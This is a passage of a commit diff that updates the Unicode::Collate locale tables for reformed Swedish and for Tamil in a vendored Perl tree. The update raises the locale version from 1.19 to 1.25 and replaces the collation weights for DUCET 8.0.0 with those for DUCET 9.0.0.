+006F 030B ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+0153      ; [.1F98.0023.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F98.0023.0008] # LATIN CAPITAL LIGATURE OE
+00F4      ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+006F 0302 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+004F 0302 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED3      ; [.1F98.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2      ; [.1F98.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED1      ; [.1F98.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0      ; [.1F98.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED7      ; [.1F98.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6      ; [.1F98.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5      ; [.1F98.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4      ; [.1F98.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED9      ; [.1F98.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1F98.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,87 +1,87 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH
-00FE      ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN
-00DE      ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-00E5      ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F11.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-00E4      ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00E6      ; [.1F12.0021.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-0119      ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-00F6      ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00F8      ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-0151      ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-0153      ; [.1F13.0023.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F13.0023.0008] # LATIN CAPITAL LIGATURE OE
-00F4      ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-006F 0302 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-004F 0302 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED3      ; [.1F13.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2      ; [.1F13.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED1      ; [.1F13.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0      ; [.1F13.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED7      ; [.1F13.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6      ; [.1F13.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5      ; [.1F13.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4      ; [.1F13.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED9      ; [.1F13.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1F13.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH
+00FE      ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN
+00DE      ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+00E5      ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F96.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+00E4      ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00E6      ; [.1F97.0021.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+0119      ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+00F6      ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00F8      ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+0151      ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+0153      ; [.1F98.0023.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F98.0023.0008] # LATIN CAPITAL LIGATURE OE
+00F4      ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+006F 0302 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+004F 0302 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED3      ; [.1F98.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2      ; [.1F98.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED1      ; [.1F98.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0      ; [.1F98.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED7      ; [.1F98.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6      ; [.1F98.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5      ; [.1F98.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4      ; [.1F98.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED9      ; [.1F98.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1F98.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ta.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ta.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ta.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,55 +1,55 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0B82      ; [.2741.0020.0002][.FFF0.0000.0000] # TAMIL SIGN ANUSVARA
-0B83      ; [.2741.0020.0002][.FFF1.0000.0000] # TAMIL SIGN VISARGA
-0B95 0BCD 0BB7 0BCD ; [.2758.0020.0002][.FFF2.0000.0000] # <TAMIL LETTER KA, TAMIL SIGN VIRAMA, TAMIL LETTER SSA, TAMIL SIGN VIRAMA>
-0B95 0BCD 0BB7 ; [.2758.0020.0002][.FFF3.0000.0000] # <TAMIL LETTER KA, TAMIL SIGN VIRAMA, TAMIL LETTER SSA>
-0B95 0BCD ; [.2742.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER KA, TAMIL SIGN VIRAMA>
-0B95      ; [.2742.0020.0002][.FFF1.0000.0000] # TAMIL LETTER KA
-0B99 0BCD ; [.2743.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NGA, TAMIL SIGN VIRAMA>
-0B99      ; [.2743.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NGA
-0B9A 0BCD ; [.2744.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER CA, TAMIL SIGN VIRAMA>
-0B9A      ; [.2744.0020.0002][.FFF1.0000.0000] # TAMIL LETTER CA
-0B9E 0BCD ; [.2745.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NYA, TAMIL SIGN VIRAMA>
-0B9E      ; [.2745.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NYA
-0B9F 0BCD ; [.2746.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER TTA, TAMIL SIGN VIRAMA>
-0B9F      ; [.2746.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TTA
-0BA3 0BCD ; [.2747.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NNA, TAMIL SIGN VIRAMA>
-0BA3      ; [.2747.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNA
-0BA4 0BCD ; [.2748.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER TA, TAMIL SIGN VIRAMA>
-0BA4      ; [.2748.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TA
-0BA8 0BCD ; [.2749.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NA, TAMIL SIGN VIRAMA>
-0BA8      ; [.2749.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NA
-0BAA 0BCD ; [.274A.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER PA, TAMIL SIGN VIRAMA>
-0BAA      ; [.274A.0020.0002][.FFF1.0000.0000] # TAMIL LETTER PA
-0BAE 0BCD ; [.274B.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER MA, TAMIL SIGN VIRAMA>
-0BAE      ; [.274B.0020.0002][.FFF1.0000.0000] # TAMIL LETTER MA
-0BAF 0BCD ; [.274C.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER YA, TAMIL SIGN VIRAMA>
-0BAF      ; [.274C.0020.0002][.FFF1.0000.0000] # TAMIL LETTER YA
-0BB0 0BCD ; [.274D.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER RA, TAMIL SIGN VIRAMA>
-0BB0      ; [.274D.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RA
-0BB2 0BCD ; [.274E.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER LA, TAMIL SIGN VIRAMA>
-0BB2      ; [.274E.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LA
-0BB5 0BCD ; [.274F.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER VA, TAMIL SIGN VIRAMA>
-0BB5      ; [.274F.0020.0002][.FFF1.0000.0000] # TAMIL LETTER VA
-0BB4 0BCD ; [.2750.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER LLLA, TAMIL SIGN VIRAMA>
-0BB4      ; [.2750.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLLA
-0BB3 0BCD ; [.2751.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER LLA, TAMIL SIGN VIRAMA>
-0BB3      ; [.2751.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLA
-0BB1 0BCD ; [.2752.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER RRA, TAMIL SIGN VIRAMA>
-0BB1      ; [.2752.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RRA
-0BA9 0BCD ; [.2753.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NNNA, TAMIL SIGN VIRAMA>
-0BA9      ; [.2753.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNNA
-0B9C 0BCD ; [.2754.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER JA, TAMIL SIGN VIRAMA>
-0B9C      ; [.2754.0020.0002][.FFF1.0000.0000] # TAMIL LETTER JA
-0BB6 0BCD ; [.2755.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER SHA, TAMIL SIGN VIRAMA>
-0BB6      ; [.2755.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SHA
-0BB7 0BCD ; [.2756.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER SSA, TAMIL SIGN VIRAMA>
-0BB7      ; [.2756.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SSA
-0BB8 0BCD ; [.2757.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER SA, TAMIL SIGN VIRAMA>
-0BB8      ; [.2757.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SA
-0BB9 0BCD ; [.2758.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER HA, TAMIL SIGN VIRAMA>
-0BB9      ; [.2758.0020.0002][.FFF1.0000.0000] # TAMIL LETTER HA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0B82      ; [.27CE.0020.0002][.FFF0.0000.0000] # TAMIL SIGN ANUSVARA
+0B83      ; [.27CE.0020.0002][.FFF1.0000.0000] # TAMIL SIGN VISARGA
+0B95 0BCD 0BB7 0BCD ; [.27E5.0020.0002][.FFF2.0000.0000] # <TAMIL LETTER KA, TAMIL SIGN VIRAMA, TAMIL LETTER SSA, TAMIL SIGN VIRAMA>
+0B95 0BCD 0BB7 ; [.27E5.0020.0002][.FFF3.0000.0000] # <TAMIL LETTER KA, TAMIL SIGN VIRAMA, TAMIL LETTER SSA>
+0B95 0BCD ; [.27CF.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER KA, TAMIL SIGN VIRAMA>
+0B95      ; [.27CF.0020.0002][.FFF1.0000.0000] # TAMIL LETTER KA
+0B99 0BCD ; [.27D0.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NGA, TAMIL SIGN VIRAMA>
+0B99      ; [.27D0.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NGA
+0B9A 0BCD ; [.27D1.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER CA, TAMIL SIGN VIRAMA>
+0B9A      ; [.27D1.0020.0002][.FFF1.0000.0000] # TAMIL LETTER CA
+0B9E 0BCD ; [.27D2.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NYA, TAMIL SIGN VIRAMA>
+0B9E      ; [.27D2.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NYA
+0B9F 0BCD ; [.27D3.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER TTA, TAMIL SIGN VIRAMA>
+0B9F      ; [.27D3.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TTA
+0BA3 0BCD ; [.27D4.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NNA, TAMIL SIGN VIRAMA>
+0BA3      ; [.27D4.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNA
+0BA4 0BCD ; [.27D5.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER TA, TAMIL SIGN VIRAMA>
+0BA4      ; [.27D5.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TA
+0BA8 0BCD ; [.27D6.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NA, TAMIL SIGN VIRAMA>
+0BA8      ; [.27D6.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NA
+0BAA 0BCD ; [.27D7.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER PA, TAMIL SIGN VIRAMA>
+0BAA      ; [.27D7.0020.0002][.FFF1.0000.0000] # TAMIL LETTER PA
+0BAE 0BCD ; [.27D8.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER MA, TAMIL SIGN VIRAMA>
+0BAE      ; [.27D8.0020.0002][.FFF1.0000.0000] # TAMIL LETTER MA
+0BAF 0BCD ; [.27D9.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER YA, TAMIL SIGN VIRAMA>
+0BAF      ; [.27D9.0020.0002][.FFF1.0000.0000] # TAMIL LETTER YA
+0BB0 0BCD ; [.27DA.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER RA, TAMIL SIGN VIRAMA>
+0BB0      ; [.27DA.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RA
+0BB2 0BCD ; [.27DB.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER LA, TAMIL SIGN VIRAMA>
+0BB2      ; [.27DB.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LA
+0BB5 0BCD ; [.27DC.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER VA, TAMIL SIGN VIRAMA>
+0BB5      ; [.27DC.0020.0002][.FFF1.0000.0000] # TAMIL LETTER VA
+0BB4 0BCD ; [.27DD.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER LLLA, TAMIL SIGN VIRAMA>
+0BB4      ; [.27DD.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLLA
+0BB3 0BCD ; [.27DE.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER LLA, TAMIL SIGN VIRAMA>
+0BB3      ; [.27DE.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLA
